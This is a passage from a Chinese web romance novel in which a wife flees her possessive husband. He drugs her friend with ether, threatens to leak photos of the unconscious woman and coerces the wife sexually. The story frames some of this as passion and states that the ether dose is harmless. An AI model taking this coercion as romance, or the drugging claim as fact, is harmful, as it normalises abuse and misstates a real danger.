“我骗你什么了?我跟唐婷一起来S市,我告诉过你的。” “可你没告诉我,唐婷只是你的幌子,你真实的目的就是那个老色皮约在了S市幽会!” 幽会? 这两个字就像是一根鱼刺,扎在了宋凝的喉咙里。 “……随你吧,你爱信不信。” “要不你跟我解释一下,几年前的那一晚,你跟他孤男寡女在酒店里整整一夜,你们到底都做了什么,有没有其他人当时也在?” “……” “阿凝,只要你能解释,哪怕你现在还是用唐婷当幌子,说她当时也在场,我就信你。” 宋凝:“……” 他已经认定了她是用唐婷做幌子,那解释还有什么意义? 而且那一晚,唐婷确实在场。 但是唐婷的秘密,她不能说。 以唐婷现在的知名度和公共形象,这个秘密一旦曝光,她才真的是身败名裂,人生毁灭。 或许生活中,大家都会同情唐婷的遭遇,这件事并不是她的错,她也是个受害者。 但唐婷现在身处娱乐圈,时时刻刻都有人想要拍到她的黑料搞死她。 这个秘密,会让唐婷被千夫所指,那段不堪回首的过去,也会成为公众茶余饭后讨论的话题。 “阿凝,你告诉我,唐婷当时在场吗?” “……” “你说啊!就算你是骗我的,我都会相信,你还有什么不能说的?” “她不在。”宋凝说:“那一晚,就只有我和吴教授两个人。” 傅东擎沉默了一会儿,电话两端都变得异常安静。 过了好几分钟,她才听到傅东擎问道:“所以你们那一晚,都做了什么?” “……” 傅东擎感受到了她的沉默,沉沉吐出一口气:“阿凝,我很难受。” “……” “这些年,只要一想起这件事,一想起那张照片里你和他暧昧的样子,我的心就像是针扎一样痛。” 宋凝挂断了电话。 拿着电话的手在颤抖。 丁予期问她:“他来找你了?” “嗯。”宋凝缓缓点了点头。 丁予期又问:“你想见他吗?” “是我不想见就能不见的吗?我就住在你的酒店里,还来应聘你的经理,你只要像发刚刚那张图片一样把我的行踪发给他,我躲的掉?” 丁予期突然正色了起来:“如果你不想见,我可以让他找不到你。” 﨔 第一十八章 等了太久了,不想在等 半小时后。 宋凝看到了一辆黑色的劳斯莱斯飞驰而来,一个甩尾,急停在卫斯理酒店的大门口。 泊车小弟走了过去,例行询问他是否需要帮忙泊车。 可傅东擎推开车门就跑进了酒店里,丝毫不理人。 “想好了吗?” 宋凝点了点头:“嗯,我不想见他。” 见了有什么用? 除了争吵,而且那件事根本吵不出个所以然来。 丁予期闻言,脱下了自己的外套,直接盖在了宋凝头上,然后打横抱起了她。 宋凝突然感觉身子一轻,整个人都离了地。 她下意识的攀附住他的肩膀,稳住自己不掉下去。 丁予期抱着她掂了掂:“看着挺有料的,怎么这么轻?” 丁予期抱着她走出了办公室,然后,在电梯里遇到了急吼吼来抓人的傅东擎。 “予期?”傅东擎也很意外在这里遇到他,“你也住这里?” 丁予期歪头笑了笑:“陪她来的。” 宋凝躲在西装外套里,黑乎乎的一片,压根看不清外面发生了什么。 但她明显能感觉到,丁予期把头抵在了她的额头上。 真的好像情侣一样亲昵。 傅东擎的神情稳了稳,问道:“弟妹这是怎么了?” “她害羞,不敢见人。” 傅东擎说:“我们是兄弟,以后肯定是要见面的啊,这有什么可害羞的。” “大概是……不方便吧。” 丁予期这句话的语气极为暧昧。 似乎是在暗示刚刚他们发生过什么。 宋凝气不过,用手戳了戳他的腰。 丁予期“嘶——”了一声,然后半是宠溺半是威胁地说:“这时候别招我啊,再闹我们就在电梯里开始。” 说着,还作势要把她放下来。 宋凝吓了一跳,赶紧乖乖地不敢动,紧紧抱着他,把脸埋在他的胸膛里。 傅东擎还说了丁予期一句:“女孩子都害羞,你别吓人家。” 丁予期哼了一声:“她可不是一般女孩子,张牙舞爪凶巴巴的,这会不吓唬吓唬,一会儿我可没好果子吃。” “哈哈哈,看不出来,弟妹这么生猛的?”傅东擎说:“那以后可得好好带一带我们家阿凝,阿凝比较内向,多跟弟妹玩一玩应该也会开朗一些。” 丁予期说:“以后再说吧。” “不过你小子进展挺快啊,之前说她才刚离婚,现在就已经如胶似漆了?” “没办法,等了太久了,不想在等。” 这句话,他说的有几分怅然和苦涩的意味。 乍一听还真像那么回事。 傅东擎问:“对了予期,你住在这儿的时候见到过阿凝吗?她也住在这个酒店。” 丁予期说:“我这好几天都没下过床了,谁都没见过。” 傅东擎笑着拍了拍他的肩膀:“行吧,那你先忙,不耽误你的春宵一刻。” 傅东擎离开了。 电梯门合拢的那一刹那,宋凝的心跳才算回归了原位。 她挣扎着想要下地,可丁予期制止了她:“好好呆着,电梯里有监控。” 等电梯到了地下负一层,丁予期还是不让她下地,说是负一层也有监控。 最后,他把她塞进了车里,开车驶出了酒店。 过了好一会儿,他才说:“可以了。” 宋凝连忙把覆盖在自己脸上的西装取了下来,大口大口的呼吸着新鲜空气。 丁予期眼角却都是笑意:“怎么样,我说话算话吧?” 宋凝蒙在西装外套里,憋得双颊通红,眼睛也因为憋气显得水汪汪的,唇色红嫣,更显得妩媚娇憨:“我都快被闷死了!” 丁予期的眼神在她的唇上停留了一会儿,喉间上下滚了滚,然后赶紧移开了视线。 宋凝对此浑然未觉,她想到了另一件事:“不行,傅东擎找不到我,肯定会去找吴教授的!” “找就找呗。” 说起这个,宋凝就生气:“刚刚那张照片,是你拍的吧?” “什么照片,我不知道。” 宋凝一看他现在死不认账的样子,就知道这件事跟他脱不了干系。 她说:“你到底对傅东擎有什么执念啊,丁律,你真的超爱。” “我觉得你有跟我斗嘴的时间,不如赶紧给你的吴教授打个电话,不然我怕傅东擎真的把他打死。” 宋凝恨恨瞪了他一眼,然后飞快给吴教授播了个电话出去。 吴教授说:“我?我现在没在酒店了,我去安排好交流团的住宿之后就离开了,现在正在回去的路上呢。” “吴教授,你住的远吗?” “远啊,院里给的经费不太够,我们住在城市边缘的小酒店里呢。” 听了这话,宋凝总算是微微放了心。 傅东擎总不能跨越半个城追过去打人。 又有电话进来。 是傅东擎的。 宋凝干脆把他的号码拉黑了。 丁予期挑了挑眉:“真无情。” “还不是拜你所赐?” “诶,今天可是我想的办法把你带出来的,你讲讲道理。” “讲道理?今天要不是你偷拍我和吴教授的照片,也不会把傅东擎引来!”说到这里,宋凝突然反应过来:“你不是一心想拆散我们么,你这么做,他又会来找我,你图什么?” 丁予期嗤笑:“我也没想到,他对你这么看重。” “那真是不好意思了,他就算觉得我红杏出墙,我还是能争你的宠。丁律,我说真的,要不然你放弃吧。以我这些年跟傅东擎的相处来看,他绝对是个纯直男,你掰不弯的。” 丁予期挑眉:“你就这么确定?” “当然了,我们毕竟这么多年夫妻,一起吃过几千顿饭,还一起睡过几千次觉……” 滴滴滴—— 丁予期突然大力按响了喇叭,打断了宋凝接下来的话。 她被刺耳的声音弄的直皱眉:“你干什么?这么空旷的路哪有别的车,突然按什么喇叭?” 可是下一秒,她才突然发觉,丁予期的脸色黑的要命。 跟他一直玩世不恭的样子截然不同,是带着隐匿的,汹涌的的,蓄势待发的愤怒。 他是真的生气了。 宋凝反应过来,又呛了一句:“就因为我说跟他睡过觉你生气了?丁律,你这飞醋吃的没道理啊,傅东擎身体又没毛病,怎么可能没有欲……” 一个“望”字还没出口。 丁予期突然一个急刹车,“住口,别再说了!” 﨔 第一十九章 照片被公之于众 宋凝吓了一跳:“你发什么疯……” “我发疯吗?我早该疯了!” 丁予期偏头骂了一句脏话。 这还是宋凝第一次看到丁予期翻脸。 从前就算两人一见面就互怼,针锋相对,他都是嬉皮笑脸的,从来没有像现在这样。 有点吓人。 宋凝从前对他没有什么性别的概念,但这时候却突然惊觉——雄性动物一旦发怒,是真的有点恐怖。 丁予期似乎也察觉到了自己有些失态,深呼吸了几口,调节了一下,勉强压抑住情绪,缓缓发动了车子。 宋凝小声问道:“你要带我去哪儿?” 丁予期说:“我家。” “什么?!” “你在S市现在随便住在哪一家酒店,傅东擎都能分分钟杀到你房间门口。” 宋凝想了想,也是。 凭他的权势地位,只要她登记入住,下一秒傅东擎就会知道了。 丁予期说:“要是你真的不想见他,这几天就先住在我家避一避。” “那你呢?也住家里吗?” 丁予期白了她一眼:“家里有客房,我还不至于这么饥不择食。” 宋凝也翻了个白眼:“刚刚在电梯里我可是记得你说,我看着挺有料的,防人之心不可无。” “色即是空。” “我好歹也是有颜值有身材的,我哪儿空了我?” 丁予期:“是比空重那么一点点。” 丁予期在S市的房子是个江景大平层,270大视野,还能看到远处的入海口。 大海波澜壮阔,夕阳的余晖像是洒下了一层金粉,这个地理位置确实绝佳。 现在宋凝真信了他是卫斯理酒店的小老板,一个律师光靠打官司赚佣金想买这种地段这种品质的房子? 干十辈子都不可能。 丁予期说:“我住主卧,你住客房,实在不放心的话晚上你可以把门反锁。” 宋凝狐疑:“你能这么好心?” 丁予期去了吧台,给自己做了一杯咖啡:“你要吗?” 宋凝摇头。 他轻轻啜了一口,“我确实没这么好心,住我家可以,但不能白住,你得交房租。” 要求还算合理。 宋凝问:“多少钱?” 丁予期皱眉想了想:“一天一万吧。” “你抢劫啊?!” “要不你别住,去住酒店吧,要不就直接买个机票飞回H市,等着傅东擎回去逮你。” 宋凝呵呵:“他要是逮住我,下一秒就把我往床上扔,真逮住了你又不乐意了……” 丁予期端着咖啡的手一抖,咖啡倒了一地。 还顺便弄脏了他的裤子。 他把咖啡放在一旁,起身去主卧:“我去换身衣服。” “你家里,你随便。” “对了我突然想起件事,”丁予期说:“我的衬衫上有你的口红,这件衣服你得赔我。” 刚刚他抱着宋凝的时候,宋凝下意识的把脸埋起来。 以前她在家里都是不怎么化妆的,今天为了面试,还特意画了个淡妆,涂了口红。 她看向丁予期,只见他左边的领口处,确实被蹭上了口红的痕迹。 “……行,这件事算是你帮我,你把链接发我,我给你买一件一模一样的赔给你。” “这个啊,我在意大利定制的,六十多万吧。” 宋凝再一次震惊了:“你跟意大利的裁缝是一个山寨里出来的吧?都干抢劫的?” 丁予期耸了耸肩:“手工定制,又是量体裁衣,肯定贵啊。对了,我有付款单据哦,上面的金额写的清清楚楚,你别想赖账。” 宋凝咬着牙,低声咒骂了两句。 早知道会一连遇到两个抢劫的,她还不如留在酒店里等傅东擎,大不了就是大吵一架,总比直接损失大几十万要好得多。 丁予期说:“怎么,傅东擎平时不给你钱花吗?几十万而已,对你来说小意思吧。” 傅东擎对她确实大方。 要什么给什么,不要的也会买回来塞给她。 “我不想用他的钱。” 丁予期微微挑眉:“因为快离婚了?” “一方面吧,”宋凝低声说:“我按揭吧,等我找到工作,慢慢还你。” …… 下午的时候,有个陌生号码打来。 宋凝想了想,还是接了起来,对面是唐婷:“阿凝,你去哪儿啦?傅东擎杀过来了,已经快把酒店掘地三尺了!” “我……我暂时不想见他,所以出来了。” “你现在那个地方安不安全啊?” “安全应该是挺安全的,”宋凝说:“就是有点贵。” “那没事,只要安全就行,钱不够我让珊珊给你转。” “先不用了,有需要我再跟你说。” 唐婷叹了口气:“你是没看到傅东擎那个架势,跟一头暴怒的狮子一样,吓死人了。” 宋凝顿了一下,说:“我们两个已经走不下去了,他就是刚开始有点接受不了,以后……孩子出生了,他就没工夫找我了。” 唐婷问道:“他看起来还是很在乎你的啊,我一直没敢问,到底为什么他那么爱你还会出轨啊?” “……你别问了。” 唐婷:“跟我有关,是不是?” “……” “傅东擎刚刚除了找你之外,还嚷嚷着要找吴教授……”唐婷问道:“你们两个的矛盾,跟我被强/暴的那一晚有关?” 宋凝深吸了一口气:“不是,你不要胡思乱想。” “阿凝,是不是他误会了你跟吴教授有染,所以才找了个小三来气你?” “没有的事,唐婷,你不要乱猜了。” 尽管宋凝一直否认。 可唐婷不傻。 傅东擎爱宋凝,她一直看在眼里。 傅东擎刚刚在酒店里口口声声说要找吴教授问清楚,她也看在眼里。 能把这两件事联系在一起的,也就只有那一晚的事情了。 唐婷已经把所有信息拼凑在一起,得到了事情的真相。 “你为了帮我保守秘密,无法说出你为什么会跟吴教授一起去酒店过夜,更没有说出当晚我也在场。所以傅东擎一直误会着,他气不过,所以也在外面找了女人……” 宋凝突然有种无力感:“唐婷……” 唐婷突然说:“我现在就去找傅东擎,我去告诉他真相,我不能看着他这么误会你!” 电话那边,突然传来珊珊焦急的声音:“不好了唐婷姐,网上突然流传出了几张照片,好像是学生时代的宋凝姐跟一个老教授去了酒店开房……” “什么……” “不知道是谁做的,论坛全都沦陷了,微博也上了热搜第一,明显是被人买上去的!而且现在下面全都在说……” “说什么?” “说……”珊珊顿了顿:“说宋凝姐是为了保研,主动跟学校的老教授潜/规则,为了抢名额不惜奉献自己的身体……” 唐婷怒吼:“谁做的?!!去给我查!” 宋凝冷笑:“我知道是谁做的。” 﨔 第二十章 一个亿,就当是你儿子的赎身钱 宋凝很快就接到了蒋秀兰的电话。 她在电话里说:“宋小姐,我还真没想到你还有这样的本事,引得东擎为了你,公司、父母全都不要了,会议开了一半就跑去S市找你。” 宋凝也没什么好话:“阿姨,那些照片是你给媒体的吧?让自己儿子被所有人看笑话,被指责带了绿帽子,您觉得挺开心的?” “你少倒打一耙,明明是你自己道德败坏!宋凝,你敢做这样的事,我就敢发!” 从她嫁给傅东擎在一起的第一天起,蒋秀兰和傅学森就不同意。 无非是因为她是普通人家出身,还有个坐了牢的父亲。 后来还是傅东擎扔下了话:“你们要认她,那你们就多了个儿媳妇,如果不认,那就当没我这个儿子!” 傅东擎撂了挑子,公司不管,电话不接,带着她去一个小岛上住了一个月。 那一个月,他们每天看着海边的日出日落,身边只有彼此。 宋凝一直到现在就记得,那时候的傅东擎有多爱她,爱她爱到可以抛弃所有,可以跟父母对着干。 可是现在,他说:“我爸妈也是想要个孙子,有人替你生不好吗?” 只能说时间还是磨灭了一切爱意,她和傅东擎终究不是一个世界的人。 蒋秀兰说:“你说个数吧,只要你肯跟东擎离婚,我尽量满足你。” “让我说数字?阿姨,您可真大方。” “我们傅家马上就要有金孙了,不值得为你这样的人浪费精力,就当是花点钱破财消灾了。” “好啊,我要一个亿。” 蒋秀兰的声音拔高了一个八度:“你说多少?” “一个亿,就当是你儿子的赎身钱,阿姨,你不会不愿意给吧?” 蒋秀兰沉默了。 过了一会儿,电话到了傅学森手里。 他的声音低沉,压迫感十足:“成交。” …… 宋凝挂了电话的时候,丁予期不知道什么时候已经换了一身家居服,靠在她旁边的沙发上优哉游哉的喝咖啡。 她吓了一跳:“你走路没声音的?” “我在自己家,想怎么走就怎么走,你管我?” 宋凝叹了口气,寄人篱下,必须得忍气吞声。 见她没有回怼,丁予期摇了摇头:“宋小姐还真是算无遗策啊,明明离婚申请都已经递上去了,就等时间一到去领证,还能转过头敲傅家一笔。” 宋凝说:“她愿意给,我凭什么不要?” “我还当你宋小姐高风亮节,不在乎这些钱不钱的。” “钱很重要。” 那些人为了钱,害了爸爸一辈子,害他失去所有,最后死都没见到妻女一面。 宋凝其实无数次想过,倘若爸爸只是个普通的上班族,没有那栋酒店,会不会那群人就不会盯上他? 那他们一家三口,就可以永远平安的生活在一起了。 丁予期的眼神闪了闪,轻声说道:“友情提示你一下,别把人都想的太简单,就算是傅家,一个亿也不是小数目,怎么会轻而易举就给你。宋小姐,小心赔了夫人又折兵。” 宋凝顿时警觉起来:“什么意思?” “没什么意思,你自己悟吧。” 滴滴—— 她收到了一条短信。 是银行发来的,她的账户到账了一个亿。 速度还真快。 丁予期也看到了,刚想说什么,他的手机也响了。 来电显示上,是一个叫【野狗】的名字。 野狗? 丁予期接了起来:“东擎?” 宋凝震惊了,丁予期给傅东擎的备注居然是“野狗”? 她一时有点分不清,这个词到底是褒义还是贬义了。 傅东擎的声音从听筒里传来:“予期,不好意思,我知道不知道该在这个时候打扰你,但我确实有件事想找你帮忙。你现在……方便接电话吗?” 丁予期看了宋凝一眼,转过身去,往卧室的方向走:“方不方便的,你不都打过来了吗?我还能直接挂了啊!说吧,什么事?” “宋凝和那个老色皮的照片不知道怎么的被顶到热搜第一了,我想尽快撤掉,以及——查出来是谁做的。” 丁予期没有立刻回答,只是问道:“你确定要查?” “对,想欺负阿凝的人,必须付出代价!” “东擎,我劝你三思。” “你要阻止我吗?” “我没这么闲工夫,我只是想提醒你一句,到底是谁把这些照片买上热搜的,你自己心里应该有答案吧?查出来真相了,你能怎么办?” 果然,这话一出,电话那头立马就沉默了。 这些照片,当初给傅东擎封锁了。 手里有的,只有拍摄者丁予期,他本人,还有他父母。 他自己没做,丁予期这阵子“忙”,所以答案已经显而易见了。 就算查出来,他能对自己的父母怎么样? 丁予期说:“还有,那个林澜……你准备怎么办?” 傅东擎的声音听起来很疲惫:“我咨询过医生,她身体不好,如果这一胎打掉的话,以后她很可能就不能当妈妈了。她是被无辜牵扯到这件事情中来的,我……我不知道……” “那你就还是决定让她把孩子生下来是吧?” 丁予期问完,直接把电话从耳边拿了下来,然后按了免提键。 就是故意让宋凝听的。 傅东擎的声音清晰的从手机里传出来:“予期,你帮我找个可靠的人吧,等孩子一出生,就把孩子交给他们抚养。钱,房子都可以要,至于阿凝那边……请你务必帮我瞒住,就说孩子已经打掉了。” 丁予期看了宋凝一眼,轻笑着对着电话说道:“行,你等我消息。” 挂了电话,丁予期晃了晃手机:“宋小姐,听完了,有什么感想?” “再次恭喜丁律,以后你跟傅东擎在一起,都不用再找人代孕了,现成的孩子。” “听起来你心态还挺好?” 事情已经发展到现在这个地步,伤心难过是最无用的情绪。 十五年的感情走到现在,不难过是假的。 但事实如此,她只能继续往前走。 宋凝的睫毛颤了颤,眼神却透着一股坚定:“人只能往前看。” 﨔 第二十一章 我不想从你嘴里听到别的男人的名字 唐婷刷着手机,手指头都快戳到屏幕里了。 珊珊根本不敢说话。 唐婷沉默了地刷了一会儿,突然站了起来:“不行,这件事我得去找傅东擎说清楚!” 正说着,门铃就被按响了。 珊珊走了过去,在猫眼看了一眼,顿时吓了一跳:“唐婷姐,好像是傅总。” 唐婷咬牙:“来得正好,开门!” 谁知道珊珊刚一开门,傅东擎身后就冲进来十几个黑衣保镖,瞬间把珊珊给按住了。 “傅东擎我有件事跟你说……唔!” 唐婷也被按住了,跟珊珊不同的是,她还被捂住了口鼻。 刺激的气味顺着鼻腔和口腔一起涌入,唐婷一开始还奋力挣扎,但很快就没了动静,软软地瘫倒在地。 珊珊吓得面白如纸,傅东擎面沉如水,冷冷瞥了她一眼:“我来找人,你最好安静一点。” 几个黑衣人迅速进了屋子里,把所有的房间都搜了个遍。 出来的时候,纷纷汇报说:“傅总,太太没在这里。” 傅东擎眉心拧起:“她在S市并没有亲戚或者朋友,除了唐婷这里,还能去哪里?” 他转身,居高临下地看着被按在地上的珊珊:“你来告诉我。” 珊珊哪见过这种架势,吓得连连摇头:“我也不知道呀。” 傅东擎缓缓走了进去,在沙发上坐下,双腿叠起,手上玩着打火机:“我太太是跟唐婷一起来的,她去了哪里,不可能没告诉唐婷,而你是唐婷的助理……” 他停下来,目光冷峻:“我太太要是在外面受到了一丝一毫的伤害,我动不了唐婷,只能拿你开刀。” 珊珊已经泪如泉涌:“傅总,我真的不知道。” “很好,”傅东擎站了起来,给黑衣人使了个眼色:“那就报警吧,女明星唐婷诱/拐我太太,现在我太太下落不明,我怀疑被她们绑架了,先去警局里蹲几天再说吧!” 珊珊立刻求饶:“不行啊傅总,唐婷姐是公众人物,不能进警局!” “带走!” “不、不要,我说!” 傅东擎深深看了她一会儿,示意黑衣人松开了珊珊。 她从茶几下面的抽屉里取出来了一个老旧款式的手机,拨通了一个号码。 对面很快接起:“唐婷?” “宋凝姐,是我,珊珊……” “珊珊啊,有什么事吗?” “我……” 珊珊刚想说话,手机就被傅东擎抽走了。 他把手机贴在耳边,语气是跟方才截然不同的温柔:“阿凝,我终于听到你的声音了。” “傅东擎?你去唐婷那儿了?她人呢?你把她怎么了?” 傅东擎苦笑了一声:“你心里只关心你的朋友,有没有想过我?你突然就失踪了,你知不知道我有多担心?!” 宋凝说:“我很好。” “你在哪里?” “你先告诉我唐婷现在怎么样了,以她的性格绝不可能让你打这通电话。” 这也是他一进门就要把唐婷迷晕的原因。 她跟宋凝的关系非常要好,想从她口中知道宋凝的下落,基本不可能。 而且她是公众人物,随便喊两声,围观人群就会很多。 所以傅东擎果断先把她弄晕,然后从她的助理珊珊下手。 “我现在就在唐婷的酒店房间里,”傅东擎说:“半个小时之内,我要见到你。否则,你的好朋友唐婷,我不介意让她从此身败名裂,从娱乐圈彻底消失。” “傅东擎!!” “阿凝,我等你。” 说完这句话,他就挂了电话。 她立刻回拨回去,可是只有关机的提示音。 宋凝气愤不已,对着电话骂了一句:“王八蛋!” 转身飞奔出门。 S市城市很大,半个小时的时间,她一路催促司机,终于赶到了卫斯理酒店。 按下门铃的第一声,门就从里面被拉开了。 她被拉进一个熟悉的怀抱里。 熟悉的衬衫质感,是她给他挑选的。 熟悉的古龙水香味,也是她买的。 傅东擎紧紧地抱着她,七分思念三分气愤,咬着牙恶狠狠地说:“长本事了?能从我的眼皮子底下逃跑?” 宋凝奋力挣扎,在他怀里又踢又打:“唐婷呢?我要见唐婷!唔!” 傅东擎的吻来的凶猛又急切,像是他们两个刚刚在一起的时候,他迫切地像是要把她整个吃进肚里。 男人真的发起狠来,宋凝第一次觉得自己的力道如同蚍蜉撼树,根本推不开他分毫。 渐渐地,他的喘气声重了起来。 微微放开她的唇,看着她因为自己的吻而缺氧到双眼迷蒙,傅东擎的眼中的火焰更胜。 他一把扛起她往主卧的方向走。 保镖们纷纷低下头,摸了摸鼻子不敢再看。 只有珊珊小声叫了一声:“宋凝姐……” 宋凝感觉大脑似乎都成了一片空白,整个人都晕晕沉沉的,落入了软柔的云朵中。 只是身上盖着的棉被似乎变成了硬邦邦的铁块,压得她喘不过气来。 调匀呼吸之后,她才发觉身上的衣服已经去了一半,傅东擎正红着眼解她的内衣扣。 察觉到她醒来,傅东擎很快又扑了上来,捧着她的脸疯狂的亲吻。 宋凝已经放弃了抵抗,直到傅东擎在她唇边尝到了苦涩的味道。 是眼泪。 她哭了。 她的眼泪终于让他找回了一丝理智,停下来用手背帮她擦了擦脸颊上的水泽:“阿凝,我想你了。” “……” “我想你想到快疯了,一想到你能在我眼下逃走,永远的离开我,我就害怕。” 宋凝别过脸去,闭上了眼睛。 傅东擎失落地叹了一口气,轻轻在她额头上落下轻柔的吻:“你知不知道,我看到你跟那个姓吴的老头在一起言笑晏晏的样子,我的心就像是被针刺穿一样痛。” 宋凝说:“你会心痛,因为你还是相信我跟他不清白。” “阿凝,我们好不容易才见面,不说这个可以吗?我不想从你嘴里听到别的男人的名字。” 宋凝推开他坐了起来,整理着自己已经被扯的歪歪斜斜的内衣。 傅东擎从身后抱住她,亲吻她的头发:“以前的事情,我们都当没发生过,跟我回去,我们跟以前一样相爱,好好过日子,好不好?” 宋凝整理好内衣,从地上捡起衬衫往身上套。 “傅东擎,其实我们都明白,我们回不去了。” 﨔 第二十二章 我会亲手砍下你的手 “可以,”傅东擎说:“我说可以就可以。” 宋凝冷笑:“可我不愿意。” 傅东擎看向她的目光原本还带着温柔缱绻,可听了这段话之后,渐渐失去了温度,最后变成了阴冷。 “阿凝,你不要逼我。” 宋凝问他:“唐婷呢?” “在隔壁客房。” 宋凝抬脚就要过去。 傅东擎飞快起身,在她出门之前把主卧的门又关上了。 宋凝看向他:“还要干什么?” “阿凝,我最后再问你一次,跟不跟我回去。” “答案你已经知道了,还问我做什么。” 傅东擎冷笑了一声:“好,既然这样的话……” 这一次,他主动拉开了房间的门。 “你这么想看看你的好朋友,我不会再阻止你。” 他会突然这么好心? 宋凝将信将疑。 但对唐婷的担忧还是战胜了一切,她飞快地夺门而出,然后推开了客卧的门。 然后,倒吸了一口凉气。 珊珊泪眼婆娑地坐在墙角,被绑住了手脚:“宋凝姐,求你……” 她看向床上。 唐婷就躺在那里,毫无知觉,身上的外衣都被脱掉了,只剩下贴身的内衣裤。 傅东擎的声音从远处飘来,带着警告:“你不跟我回去的话,唐婷的照片,五分钟后就会登上全网的热搜第一。” 宋凝只觉得浑身的血液开始逆流。 几年前的那个幽暗的酒店房间里,唐婷也是像现在这样,毫无反抗能力地昏迷在床上,身上的衣服都被撕碎,破布一样随处都是…… 她浑身发冷,立刻从柜子里扯出了棉被盖在唐婷身上,把她包裹的严严实实,再也没有一丝皮肤露在外面。 宋凝一边紧紧地抱住她,一边哭着说:“没事的,唐婷,我来了,没事的……” 她的样子像是疯了一样,压抑着哭声,拼了命的想要把用被子把唐婷紧紧的包裹住。 珊珊早已经哭的泪眼婆娑:“宋凝姐,宋凝姐……” 宋凝浑身都在颤抖,问她:“谁动的她?” 珊珊哭着说:“我不知道,他们一进来就把唐婷姐弄晕了,我打完那通电话之后就被关到了阳台。等我再被带回来的时候,唐婷姐已经就是这样了……” “王八蛋,王八蛋!!!!” 宋凝愤怒地咒骂着。 她刚刚从主卧的方向跑过来的时候,客厅里密密麻麻站了几十个黑色衣服的保镖。 全都是男人。 那唐婷的衣服…… “阿凝,看完了吗?看完了就出来,我们谈谈。” 傅东擎的声音已经在门外了。 或许是为了避嫌,他背对着主卧,声音冷漠。 宋凝再次检查了一下唐婷,确认她浑身都被盖严实了,又蹲下去给珊珊松了绑,叮嘱她:“照顾好唐婷。” 她出了门,顺手把客卧的门关好。 傅东擎听到她的脚步声,转过了身:“现在,愿意跟我回去了吗?” 宋凝整个人冷静到了不可思议,沉默良久,才说:“我可以跟你回去,但是我有一个条件。” “你放心,只要你跟我回家,唐婷的照片永远不会被曝光。” “刚刚谁给唐婷脱了衣服,我要他的手。” 她的目光在几十个保镖中扫了一圈,目光如同尖锐的钢刀:“傅东擎,你不是说我要什么都会给我吗?这个条件,你只要答应,我就跟你走。” 她抬头,对上傅东擎的眼睛,目眦欲裂。 傅东擎说:“如果,动手的人是我呢?” “那我会亲手砍下你的手。”宋凝说:“我说到做到。” 傅东擎紧紧抿着唇,冷冷地看着她:“阿凝,如果不是曾经我们那么相爱过,我几乎要怀疑你喜欢女人。” “随你怎么想。” “唐婷对你来说,就这么重要吗?朋友,和丈夫,你几乎毫不犹豫就选择了她!” 宋凝有些想笑:“吴教授和唐婷,一男一女,在你口中我好像成了个男女通吃的变态。” “我想你的眼里只有我,我想要在你心里永远排第一位。” “那就不该用唐婷来威胁我!尤其是这样……” 让多年前的噩梦重演。 自从那件事之后,唐婷陷入了很长时间的抑郁期。 她自杀过无数次,吃过安眠药,也尝试过上吊,甚至差点从楼顶一跃而下。 她厌弃这个“脏”了的自己。 这段时期,是宋凝和吴教授陪她一起走过来的。 是吴教授告诉她:做错了事的人,是那些心思坏掉了的男人,不是你。你没有脏,你只是一个受到了伤害,还不知道怎么去排解的可爱女孩。 唐婷哭了,在顶楼哭的撕心裂肺。 她紧紧抱着宋凝,哭着告诉她:“阿凝,我不想再被噩梦折磨。” 宋凝拍着她的背,跟她说:“不想记得就忘了吧,彻底忘掉,从今以后,那一天从你的人生中彻底抹去,你只是去参加了一个晚会,表演了节目,然后就跟我一起回了宿舍,一觉到天明。” 唐婷用了三年的时间,终于走了出来。 可今天的一切,却又旧事重提。 傅东擎说:“我是叫酒店的女服务生帮唐婷脱的衣服,没有男人碰过她。” “你给她下的什么药?” “乙醚,计量不大,应该一个小时之后就能苏醒,对身体没有伤害。” 傅东擎轻轻帮她把碎发别到耳后,温柔地说:“阿凝,告诉我,你究竟是怎么从这么多监控的情况下,神不知鬼不觉地离开了酒店。” 宋凝说:“你当我会隐身术。” “阿凝,告诉我实话。”傅东擎说:“我必须要知道,否则你以后还会逃走,我找不到你,但唐婷是公众人物,我肯定找得到她,你也不想她再次被伤害,对不对?” 扣扣—— 房间的大门被敲响了。 傅东擎的助手小何急匆匆赶了过来:“傅总,我让人拆了酒店所有的通风口和管道,都不是。” 傅东擎沉吟了一下:“不是走楼梯间,也不是通风管道……酒店的监控确定没有死角吗?” 小何说:“我已经都逐一确认过了,只要太太出现在酒店的任何一处地方,都必定会留下痕迹。但只能查到太太和唐婷小姐昨天的入住监控,还有今天太太坐电梯上楼的监控,再然后……就人间蒸发了。” 傅东擎挑眉:“阿凝,难道你真的会隐身?” 不,不可能。 一个大活人,肯定有出去的路径,只是他还没找到。 傅东擎的目光像是X光,把宋凝上上下下全都扫了一遍。 她的衣着干净整洁,也不像是躲在垃圾或者布草里面被人运出去过。 而且她的黑色高跟鞋也干净的一尘不染,她的房间在26层,高跟鞋攀爬更不可能。 等等,这双黑色高跟鞋,他好像有点眼熟…… 小何一眼就认了出来:“太太的鞋!我在电梯的监控视频里看到过!” 傅东擎猛然间抬起头—— 他也想起来了…… 是丁予期抱着的那个,被他蒙住头的女人…… 﨔 第二十三章 神经紧绷,草木皆兵 傅东擎的目光紧紧的盯在宋凝的脚上。 他微微蹙眉,似乎又觉得不太可能。 从他跟宋凝交往开始,丁予期就是兄弟里面唯一一个不喜欢宋凝的人。 为了让他们分手,他没少使劲。 是谁都不可能是丁予期。 但还是验证一下为妙。 傅东擎当着宋凝的面,给丁予期打了个电话:“出来喝一杯?” 丁予期的声音像是睡眼朦胧,还没完全苏醒:“不去,困。” “睡觉有什么意思?正好带弟妹出来,认认人。” 丁予期说:“我跟你去吧,她这两天够累的了,让她好好睡一觉。” “聊聊天而已,又不费什么劲,一定带她来。” 傅东擎挂了电话,拉着宋凝就出门。 宋凝不放心:“唐婷……” 小何说:“太太你放心,我亲自守在这里,没有人能对唐小姐做什么。” 宋凝沉声嘱咐说:“找个女服务生,给她把衣服穿好,还有,嘱咐珊珊,今天的事情让她别跟唐婷说。” 小何看向傅东擎,似乎在等待他最后发号施令。 傅东擎点了点头:“太太说的就是我说的,去办吧。” “是。” 到了地下室,傅东擎上车第一步就是锁车门。 宋凝:“怎么,怕我跳车?” 傅东擎没否认:“不得不防。” “我很惜命。” “我只是怕你又跑。” 开车的行程中,两人都是一阵沉默。 到了酒吧,傅东擎拉着她去了一个卡座。 他对服务生说:“三个冰酒桶,再给她上一杯热牛奶。” 服务生点了点头,离开了。 宋凝其实不怎么喜欢穿高跟鞋,尤其为了面试,她还特意买了一双尖头的细高跟。 漂亮确实是漂亮,勾勒的腿部线条尤其纤瘦合度,修长美丽。 